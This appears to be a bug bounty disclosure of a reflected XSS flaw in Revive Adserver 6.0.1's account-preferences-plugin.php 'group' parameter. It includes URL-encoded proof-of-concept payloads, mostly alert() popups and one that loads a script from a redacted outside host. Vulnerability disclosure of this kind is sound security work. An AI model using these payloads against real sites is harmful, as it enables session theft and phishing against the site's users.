How it was found

h1 team

I discovered a reflected cross-site scripting (RXSS) vulnerability in revive-adserver-6.0.1/www/admin/account-preferences-plugin.php via the group query parameter. Untrusted input is reflected without proper output encoding or context-aware escaping, allowing injection of JavaScript into the resulting page.

Affected component(s)

revive-adserver-6.0.1/www/admin/account-preferences-plugin.php?group= Tested instance: ████...

Proof of Concept (PoC) Custom PoC URL (as tested / reported via xss.report): ```██████████%27%22%3E%3Cscript%20src=//███████%3E%3C/script%3E

Alternate (inline) PoC that demonstrates execution without remote resources:

██████████%27%22%3E%3Cscript%3Ealert(9645)%3C/script%3E

Example “normal payload” that produced a popup in my testing (non-destructive):

'"()%26%25<zzz><ScRiPt >alert(9645)</ScRiPt>

Steps to reproduce (safe)

████%27%22%3E%3Cscript%3Ealert(1)%3C/script%3E

Observe that the injected <script>alert(1)</script> is executed (popup appears) — confirming reflected XSS.

{F4931134}

## Impact

An attacker can inject script that executes in the victim’s browser context. This can be used for typical XSS abuse (UI redress, persistence of phishing content, session manipulation). Note: I only tested non-destructive PoCs and did not attempt to exfiltrate secrets.